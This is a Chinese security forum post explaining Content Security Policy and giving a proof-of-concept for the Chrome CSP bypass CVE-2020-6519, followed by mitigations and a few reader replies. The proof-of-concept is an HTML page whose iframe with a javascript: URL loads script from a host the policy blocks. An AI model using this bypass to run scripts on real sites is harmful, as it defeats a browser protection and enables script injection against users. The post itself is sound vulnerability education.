用户
搜索
  • TA的每日心情
    郁闷
    7 天前
  • 签到天数: 31 天

    连续签到: 1 天

    [LV.5]常住居民I

    安全团队

    Rank: 7Rank: 7Rank: 7

    5

    主题

    27

    帖子

    723

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2018-8-9

    核心白帽安全团队

    发表于 2020-8-17 20:06:25 42618
    本帖最后由 EDI安全 于 2020-8-18 07:07 编辑

    Chrome CVE-2020-6519 CSP Bypass

    CSP 了解

    • 0x01  背景

      网站的安全模式源于“同源策略”,web浏览器允许第一个web页面中的脚本访问页面中的数据,但前提是两个web页面具有相同的源。此策略防止一个页面的恶意脚本通过该页面的文档访问另一个网页上的敏感数据。
      规则:协议、主机、和端口号
      
      ”同源策略”,简而言之,就是说一个页面的资源只能从与之同源的服务器获取,而不允许跨域获取.这样可以避免页面被注入恶意代码,影响安全.但是这个策略是个双刃剑,挡住恶意代码的同时也限制了前端的灵活性,
       通过csp我们可以制定一系列的策略,从而只允许我们页面向我们允许的域名发起跨域请求,而不符合我们策略的恶意攻击则被挡在门外
    • 0x02 CSP

      CSP全称Content Security Policy ,可以直接翻译为内容安全策略,为了页面内容安全而制定的一系列防护策略. 通过CSP所约束的的规责,指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。

    CSP example :

             <meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' http://weixin.qq.com/ 'unsafe-inline'">

    demo:

    <html>
            <head>
             <meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' http://weixin.qq.com/ 'unsafe-inline'">
            </head>
            <body>
                    <div id="LOG"></div>
                    <script src="http://weixin.qq.com/demo.js"></script>
                    <script src="http://eval.edisec.com/a.js"></script>
            </body>
    </html>

    image-20200817162155428.png

    可以看到,通过设置允许加载的远程资源地址后,weixin.qq.com 放了一个不存在的js,返回404,显然是可以加载的

    而我们的eval.edise.com  由于不在允许加载的远程地址内,所以遭到CSP拦截。

    image-20200817162204993.png

    Bypass CSP

    poc.html

    <html>
            <head>
             <meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' http://weixin.qq.com/ 'unsafe-inline'">
            </head>
            <body>
                    <div id="LOG"></div>
    1
                     <script src="http://weixin.qq.com/demo.js"></script>
                    <script src="http://eval.edisec.com/a.js"></script>
    
            </body>
             <script type="text/javascript">document.write("<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"http://eval.edisec.com/a.js\";document.body.appendChild(s);'></iframe>")</script>
    </html>
    

    http://eval.edisec.com/a.js

    alert("EDISEC Bypass test success!");

    对 Content-Security-Policy 限制 http://weixin.qq.com/ 进行绕过

    chrome1.gif

    修复方式

    • 确保CSP规则的正确性和有效性;
    • 基于JS 进行检测
    • 在CSP的基础上,添加随机数或哈希来额外增加一层防护

    欢迎关注我们,EDI安全,期待与您一起共同学习,成长。

    本帖被以下淘专辑推荐:

    欢迎关注公众号:EDI安全  渗透测试 内网渗透 SRC漏洞分享,安全武器库 安全开发
    发表于 2020-8-18 14:22:31
    EDI
    使用道具 举报 回复
    发表于 2020-8-19 15:03:14
    本帖最后由 dll_s 于 2020-8-19 20:47 编辑

    简洁明了,好评
    如果能给出参考源就更好了
    使用道具 举报 回复
    发表于 2020-8-20 11:24:09
    假装我看懂了
    使用道具 举报 回复
    发表于 2020-8-20 11:24:26
    看起来很强,但是我看不懂
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册